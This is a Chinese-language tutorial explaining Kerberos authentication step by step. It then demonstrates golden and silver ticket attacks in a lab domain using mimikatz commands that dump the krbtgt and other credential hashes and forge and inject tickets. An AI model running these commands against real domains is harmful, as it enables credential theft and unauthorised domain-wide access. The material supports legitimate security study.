0x01.Kerberos認證原理

Kerberos是一種認證機制。目的是通過金鑰系統為客戶端/伺服器應用程式提供強大的可信任的第三方認證服務：
保護伺服器防止錯誤的使用者使用，同時保護它的使用者使用正確的伺服器，即支援雙向驗證。kerberos最初由MIT
麻省理工開發，微軟從Windows 2000開始支援Kerberos認證機制，將kerberos作為域環境下的主要身份認證
機制，理解kerberos是域滲透的基礎。

0x02. kerberos認證框架

kerberos機制中主要包含三個角色：Client、Server、KDC(Key Distribution Center)金鑰分發中心。
Client代表使用者，使用者有自己的密碼，Server上執行的服務也有自己的密碼，KDC是受信任的三方認證中心，
它擁有使用者和服務的密碼資訊。

KDC服務預設會安裝在域控中，Client想要訪問Server的服務（xxx service），前提是通過KDC認證，再
由KDC發放的票據決定Client是否有許可權訪問Server的服務

鋪墊小知識：

KDC(Key Distribution center)： 金鑰分發中心，在域環境中，KDC服務預設會安裝在域控中。
AS(Authentication Service)： 認證服務，驗證client的credential(身份認證資訊)，發放TGT。
TGT(Ticket Granting ticket)： 票據授權票據，由KDC的AS發放，客戶端獲取到該票據後，以後申請其他應用的服務票據(ST)時，就不需要向KDC的AS提交身份認證資訊(credential)，TGT具有一定的有效期。由 KBRTGT HASH 加密的 sessionkey-as 和 Timestamp 等信 息
TGS(Ticket Granting Service)

Session key: 用來加密client和TGS之間傳輸的資料。
Server session key: 用來加密client和server之間傳輸的資料。

首先Client想要訪問Server的某個服務，就需要通過KDC的認證，獲取到服務票據（ST），
服務會驗證服務票據（ST）來判斷Client是否通過了KDC認證。為了避免Client每次
訪問Server的服務都要向KDC認證(輸入密碼)，KDC設計時分成了兩個部分，一個是AS，另一個是TGS;
AS接收Client的認證資訊，認證通過後給Client發放一個可重複使用的票據TGT，後續Client使用這個TGT向TGS請求ST即可

這是一個簡單的認證流程

0x03. 詳細認證流程

The Authentication Service Exchange（認證伺服器）：
Client 與 AS 的互動AS_REQ•AS_REP

Ticket-Granting Service (TGS) Exchange（票據授予伺服器）：
Client 與 TGS 的互動 TGS_REQ•TGS_REP

The Client/Server Authentication Exchange（pc和要訪問的服務）：
Client 與 Server 的互動 AP_REQ•AP_REP

第一步 Client 與 AS 的互動

使用者登入階段，通常由使用者(admin)輸入[使用者名稱][密碼]資訊，在客戶端側，使用者輸入的密碼資訊被一個單向 Hash 函式生成 Client 金鑰，即 admin 的 NTLM Hash：

Pre-authentication data: 就是用client對應的master key加密了一個timestamp。
Client info: client使用者資訊
Server info: 這裡並不是Client真正要訪問的Server的名稱，實際上是KDC的Ticket Granting Service的Server Name。

AS_REQ（請求）：

KDC端收到該請求後，Authentication service用client info部分資訊，在AD（account database）中查詢該client name對應的master key，並對pre-authentication data資料進行解密，如果可以提取出一個合法的時間戳，那就說明該使用者是合法的，驗證通過，並回復KRB_AS_REP給client。

AS_REP（返回）
AS 收到使用者認證請求後，AS 根據請求中的 使用者名稱 AA 資訊，從資料庫中查詢使用者名稱是否存在。如果 使用者名稱 AA 存在，則從 KDC 中可以獲取 使用者 AA 的密碼，使用單向函式為該密碼生成一個 Client 金鑰（即NTLM Hash）。AS 生成隨機字串 Client/TGS Session Key，使用 Client 金鑰(使用者 AA 的密碼 NTLM Hash)對 Client/TGS Session Key 加密得到 sessionkey_as；
再使用 TGS 金鑰(krbtgt 使用者的 NTLM Hash)對 Client/TGS Session Key 、 Client Info 和 Timestamp 加密,得到 TGT（TGT票據）。
將 sessionkey_as 和 TGT 一起返回給 Client。
Client 收到 AS 的響應訊息後，利用自身的 Client 金鑰（AA 的 NTLM Hash）對sessionkey_as 解密，這樣就獲取到 Client/TGS Session Key。

在 KDC 中儲存了域中所有使用者的密碼 hash，當 AS 接受到 Client 的請求後會根據 KDC 中儲存的密碼來解密，解密成功並且驗證資訊。驗證成功後返回給 Client 由 Client 密碼 hash 加密的 sessionkey-as 和 TGT

總體來說，KRB_AS_REP分為兩部分：
1、 用client master key對session key進行加密後的值。Session key是KDC隨機生成的UUID，用於client和TGS服務之間的資料加密、認證。
2、 用KDC master key值對TGT進行加密。這部分client解不了。由此處也可以看出，TGT包括三個部分，分別是session key、client name、end time。
（當響應資訊裡面有KDC Hash，即可偽造黃金票據）

第二步、Client 與 TGS 的互動

當client端接收到AS_REP時，client使用client master key對KRB_AS_REP的第一部分資訊進行解密，得到session key，並再次拼裝出TGS_REQ請求體，向KDC的TGS發出請求

請求結構如下，TGS_REQ請求體包括：Session key(client info+時間戳)、TGT、client info、server info；

其中，server info就是該client真正要訪問的server，步驟一AS_REQ中的不一樣；】
TGS-REQ（請求）：
當TGS服務收到到client請求體KRB_TGS_REQ時，因為TGS端並沒有session key，只能先利用TGS的master key去解TGT部分內容，得到session key，再去解Session key(client info+時間戳)部分，從而驗證該使用者是否是AS頒發給該client的。驗證通過後，給client回覆KRB_TGS_REP給client

TGS-REP（返回）：
TGS 收到請求後，檢查 KDC 資料庫中是否存在所請求的服務(Service ID)。如果存在，TGS 使用 TGS 金鑰(krbtgt 的 NTLM Hash)解密 TGT，得到 Client/TGS Session Key、timestamp、Client info；同時使用從 TGT 中解密得到的 Client/TGS Session Key去解密 Authenticator2，得到 Client info 和 timestamp。比對 Authenticator2 和TGT 的解密內容以驗證通過。
•TGS 比對 Authenticator2 包含的 Client ID 和 TGT 中的 Client ID•比較時間戳（誤差範圍在2分鐘）•通過生命週期欄位檢查 TGT 是否過期•檢查 Authenticator2 已經不再 TGS 的快取中•若原始請求中的網路地址不為 NULL，比較 TGT 中的 IP 和請求的 IP
驗證成功後，隨機生成 Client 所請求服務的會話金鑰 Client/Server Session Key；
使用 Server 金鑰（即伺服器計算機的NTLM Hash）對 Client/Server Session Key、Client Info（包含 Client ID）、TimeStamp 加密得到 Client-To-Server Ticket（也稱為 ST 票據）；
使用 Client/TGS Session Key 對 Client/Server Session Key 加密得到sessionkey_tgs
最終將 Client-To-Server Ticket、sessionkey_tgs 返回給 Client。

第三步

Client 向 SS(Service Server)傳送服務請求
AP-REQ：
Client 收到 Client-To-Server Ticket、sessionkey_tgs 之後，使用Client/TGS Session Key 對 sessionkey_tgs 解密得到 Client/Server Session Key,然後使用 Client/Server Session Key 對 Client Info 和 timestamp 加密得到Authenticator3；將 Authenticator3 和 Client-To-Server Ticket 傳送給所請求服務的伺服器(Service Server)。

Service Server 響應 Client

Service Server 收到客戶端的服務訪問請求之後，利用 Server 金鑰(Server 的 ntlm Hash)對 Client-To-Server Ticket 解密，提取出 Client/Server SessionKey、Client ID 等資訊。Service Server 使用 Client/Server SessionKey 對 Authenticator3 解密得到 Client ID 和 TimeStamp。

Service Server 傳送最後的驗證訊息——用 Client/Server SessionKey 加密的 Timestamp 和 Service ID 資料包給 Client。
Client 收到之後，使用快取的 Client/Server SessionKey 解密提取 Timestamp 資訊，然後確認該資訊與 Client 傳送的 Authenticator3 中的 Timestamp 資訊是否一致。驗證通過後，在定義的通訊週期內，Client 可以使用票據請求 Service。

總結

第一步（返回TGT）：

AS 的響應訊息中有一條是屬於 Client 的，有一條是 TGS 的。•TGT 的到期時間為 8 小時，如果超過了 8 小時，還需要重新申請 TGT，不能之間進入下一步獲取 Ticket。
•KDC 返回的 TGT 客戶端是無法解密的，因為它沒有 KDC Hash，如果有，我們就可以偽造黃金票據

第二步：

認證通過後TGS生成使用Logon Session Key（SKDC-Client）加密過用於Client和Server之間通訊的Session Key（SServer-Client），Server的Master Key進行加密的ST(Service Ticket)

(1).經過 Logon session key加密的Client和Server之間的Session Key
(2).經過Server的Master Key進行加密的ST(Service Ticket)。

Ticket大體包含以下一些內容：
Session Key（SServer-Client）
Domain name\Client。
Ticket的到期時間。

Client 收到TGS的響應，使用 Logon session key，解密第一部分後獲得 Session Key （注意區分 Logon Session Key 與 Session Key 分別是什麼步驟獲得的，及其的區別）。有了 Session Key 和 ST(Service Ticket)， Client 就可以直接和 Server 進行互動，而無須在通過 KDC 作中間人了。

第三步：

白銀票據不與KDC互動，偽造Ticket直接與 Service server進行互動，看下第三步Client和Server認證中的請求

Server接收到客戶端的資料包後，使用自己的密碼Hash解密 Ticket 得出 session key，再使用 session key
解密Authenticator和timestamp即可通過驗證，所以我們只需要知道 server 使用者的hash可以偽造出一個 ticket，這就是白銀票據

0x04. 票據傳遞攻擊

這裡介紹域內常用的兩種攻擊方式：黃金票據Golden ticket、白銀票據SILVER TICKET

1、黃金票據Golden ticket

原理：
在Kerberos認證中,Client通過AS(身份認證服務)認證後,AS會給Client一個Logon Session Key和TGT,
而Logon Session Key並不會儲存在KDC中，krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash（也就是KDC hash），就可以偽造TGT和Logon Session Key來進入下一步Client與TGS的互動。而已有了金票後,就跳過AS驗證,
不用驗證賬戶和密碼,所以也不擔心域管密碼修改。

如下圖所示，與域控制器沒有AS-REQ或AS-REP（步驟1和2）通訊。由於黃金票據是偽造的TGT，它作為TGS-REQ的一部分被髮送到域控制器以獲得服務票據。

特點：不需要與AS進行互動，需要使用者krbtgt的Hash

黃金票據的條件要求：
1.域名稱
2.域的SID 值
3.域的KRBTGT賬戶NTLM密碼雜湊

第一步：
先使用 mimikatz抓去krbtgt的hash
lsadump::dcsync /user:krbtgt

提取出裡面的sid和NTLM hash

SID: S-1-5-21-4098506371-3349406080-1400905760
NTLM Hash: 9f7afad7acc9f72b7e338b908795b7da

kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-1720693672-3610745784-2269473857 /krbtgt:1176ad25a126d316ed5ea4b60b3d71dd /ticket:administrator.kiribi [製作票據]

kerberos::golden /admin:需要偽造的使用者名稱 /domain:域名 /sid:sid /krbtgt:krbtgt的ntml hash /ticket:administrator.kiribi

/ticke引數是要儲存的名字，方便後面匯入

kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /krbtgt:9f7afad7acc9f72b7e338b908795b7da /ticket:administrator.kiribi

這時候建立成功了，會儲存到桌面上

最後使用 kerberos::ptt administrator.kiribi 去載入票據
也可以使用 klist 去檢視是否載入成功

沒有成功是這樣（因為我忘記截成功的圖了）

白銀票據

原理：
如果說黃金票據是偽造的TGT,那麼白銀票據就是偽造的ST。
在Kerberos認證的第三部，Client帶著ST和Authenticator3向Server上的某個服務進行請求，Server接收到Client的請求之後,通過自己的Master Key 解密ST,從而獲得 Session Key。通過 Session Key 解密 Authenticator3,進而驗證對方的身份,驗證成功就讓 Client 訪問server上的指定服務了。所以我們只需要知道Server使用者的Hash就可以偽造出一個ST,且不會經過KDC,但是偽造的門票只對部分服務起作用。

特點
1.不需要與KDC進行互動 2.需要server的NTLM hash

第一步：上傳mimikatz到桌面

執行命令 mimikatz64.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

當然，也可以分依次執行

銀票和金票差不多，需要sid和hash

使用方法：
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目標伺服器主機名> /service:<服務型別> /rc4:<NTLM Hash> /user:<使用者名稱> /ptt

其中的使用者名稱可以隨便寫

服務型別可以從以下內容中來進行選擇，因為我們沒有TGT去不斷申請ticket，所以只能針對某一些服務來進行偽造

構造好payload
kerberos::golden /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /target:DC.zkaq.cn /service:cifs /rc4:9f7afad7acc9f72b7e338b908795b7da /user:test /ptt